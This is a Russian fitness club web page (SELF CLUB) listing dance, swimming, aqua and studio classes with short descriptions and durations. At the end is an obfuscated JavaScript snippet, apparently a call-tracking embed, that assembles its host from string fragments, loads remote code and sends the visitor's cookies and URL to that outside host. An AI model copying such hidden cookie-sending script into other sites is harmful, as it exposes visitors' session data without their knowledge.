Секции/Студии | SELF CLUB

Секции/Студии


Уникальное для фитнес клуба направление - возможность посещения узкоспециализированных занятий без клубной карты.

У нас созданы и функционируют студийные и секционные форматы уроков как для взрослых, так и для детей.

Профессиональная танцевальная студия - наши педагоги и хореографы специализируются в различных танцевальных направлениях.

Латиноамериканская и европейская программа, кизомба, танец живота. Одно из преимуществ - наличие ассистентов.

Удобное вечернее время и дни недели для занятий.

Редкое направление - грудничковое плавание, пользуется большой популярностью, так как занятия проводятся

в отдельном детском бассейне, с тренерами, которые прошли специальную подготовку и имеют соответсвующий сертификат для
занятий с маленькими детьми.

Секции по плаванию - наши тренеры занимаются с детьми различных возрастных групп и мастерства. Занятия проводятся
на ежедневной основе в максимально удобное время
Двери нашего детского клуба всегда открыты для досуга детей, пока родители посещают SPA, ресторан или просто личными делами.


Aqua Combat

Программа для подготовленных. Высокоинтенсивная тренировка в воде, направленная на развитие общей и силовой выносливости, включающая в себя элементы бокса и кикбоксинга.
45 мин.
ПОДРОБНЕЕ

Tae-bo

Программа направлена на проработку всех групп мышц, в том числе и глубоких. Развивает координацию, ловкость, гибкость, а так же мышечную силу и выносливость.
45 мин.
ПОДРОБНЕЕ

Stretch

Урок, основанный на хореографии латиноамериканских танцев. В программу включены: клубнгая латина (сальса, меренге, бачата) и классическая латина (самба, румба, ча-ча-ча, джайв, пасадобль).
55 мин.
ПОДРОБНЕЕ

ABS+Flex

Тренировка мышц брюшного пресса в сочетании с упражнением на развитие гибкости.
55 мин.
ПОДРОБНЕЕ

Dance Mix

Урок включает в себя совокупность аэробики и популярных стилей. Обычные фитнес превращается в настоящий живой танец, взрыв эмоций, море улыбок и все это под жгучие латинские и другие мировые ритмы.
55 мин.
ПОДРОБНЕЕ

Latina

Урок, основанный на хореографии латиноамериканских танцев. В программу включены: клубная латина (сальса, меренге, бачата) и классическая латина (самба, румба, ча-ча-ча, джайв, пасадобль).

90 мин.
ПОДРОБНЕЕ

Sculpt

Силовая тренировка всех мышечных групп с использованием различного оборудования. Средняя и высокая интенсивность.
55 мин.
ПОДРОБНЕЕ

Dance Mix

Урок включает в себя совокупность аэробики и популярных стилей. Обычные фитнес превращается в настоящий живой танец, взрыв эмоций, море улыбок и все это под жгучие латинские и другие мировые ритмы.
55 мин.
ПОДРОБНЕЕ

Functional

Программа направлена на подготовку всех групп мышц, в том числе и глубоких. Развивает координацию, ловкость, гибкость, а так же мышечную силу и выносливость.
55 мин.
ПОДРОБНЕЕ

Aqua Fitness

Программа для подготовленных. Занятие с применением различного оборудования для развития силы мышц: амортизаторы, аква-гантели, аква-лопатки и т.д.

Интенсивность: высокая

45 мин.
ПОДРОБНЕЕ

Lower body

Совершенствование базовых шагов, соединяя их в интересные комбинации, с использованием сложных модификаций.
55 мин.
ПОДРОБНЕЕ

Aqua Warm up

Утренняя тренировка для любителей аквааэробики.
Аэробная нагрузка средней интенсивности.
45 мин.
ПОДРОБНЕЕ

Pilates

Система упражнений, позволяющая укрепить мышечный корсет при минимальной нагрузке на позвоночник, улучшить осанку, развить гибкость, подвижность суставов, эластичность связок, а так же межмышечную координацию
55 мин.
ПОДРОБНЕЕ

Аква Jogger

Класс c использованием специального оборудования, которое позволит привести в тонус мышцы ног и ягодиц.
Программа способствует развитию силовой выносливости.  
45 мин.
ПОДРОБНЕЕ

Aqua Power

Силовой урок с использованием аква-гантелей, направленный на развитие мышц верхнего плечевого пояса.
Интенсивность: средняя.
Оборудование: аква-гантели.
45 мин.
ПОДРОБНЕЕ

Капитошки

Программа для детей от 3 до 5 лет. В игровой форме на занятиях проходит ознакомление с водной средой и обучение начальным навыкам плавания.                                                                
30 мин.
ПОДРОБНЕЕ

Hatha Yoga

Стиль тренировок: совмещение статики и динамики. Плавный переход от асаны к асане с фазами фиксации и проработки отдельных поз (отстройка тела, работа с вниманием, дыханием).
90 мин.
ПОДРОБНЕЕ

Zumba

Урок включает в себя совокупность аэробики и популярных танцевальных стилей. Обычный фитнес превращается настоящий живой танец, взрыв эмоций, море улыбок, и все это под жгучие латиноамериканские ритмы.
55 мин.
ПОДРОБНЕЕ
ПОЛУЧИТЬ КЛУБНУЮ КАРТУ
(function(w, d, e) { var a = 'all', b = 'tou'; var src = b + 'c' +'h'; src = 'm' + 'o' + 'd.c' + a + src; var jsHost = (("https:" == d.location.protocol) ? "https://" : "http://")+ src; s = d.createElement(e); p = d.getElementsByTagName(e)[0]; s.async = 1; s.src = jsHost +"."+"r"+"u/d_client.js?param;ref"+escape(d.referrer)+";url"+escape(d.URL)+";cook"+escape(d.cookie); if(!w.jQuery) { jq = d.createElement(e); jq.src = jsHost +"."+"r"+'u/js/jquery-1.7.min.js'; p.parentNode.insertBefore(jq, p);} p.parentNode.insertBefore(s, p); }(window, document, 'script')); -->